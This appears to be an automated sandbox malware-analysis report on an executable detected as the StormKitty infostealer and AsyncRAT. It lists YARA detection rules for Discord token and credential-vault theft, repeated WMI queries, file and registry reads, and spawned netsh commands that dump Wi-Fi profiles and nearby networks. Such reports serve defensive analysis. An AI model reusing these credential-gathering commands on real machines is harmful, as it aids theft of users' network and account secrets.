Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000008.00000002.3743675961.0000000003131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/139@5/4

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JGvCEaqruI.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

File created: C:\Users\user\AppData\Local\Temp\tmp39E3.tmp

Jump to behavior

Source: JGvCEaqruI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: JGvCEaqruI.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

File read: C:\Users\user\Pictures\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp3A12.tmp.dat.8.dr, tmp3AE4.tmp.dat.8.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: JGvCEaqruI.exe	Virustotal: Detection: 75%
Source: JGvCEaqruI.exe	ReversingLabs: Detection: 76%

Source: unknown	Process created: C:\Users\user\Desktop\JGvCEaqruI.exe "C:\Users\user\Desktop\JGvCEaqruI.exe"
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Users\user\Desktop\JGvCEaqruI.exe "C:\Users\user\Desktop\JGvCEaqruI.exe"
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Users\user\Desktop\JGvCEaqruI.exe "C:\Users\user\Desktop\JGvCEaqruI.exe"	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
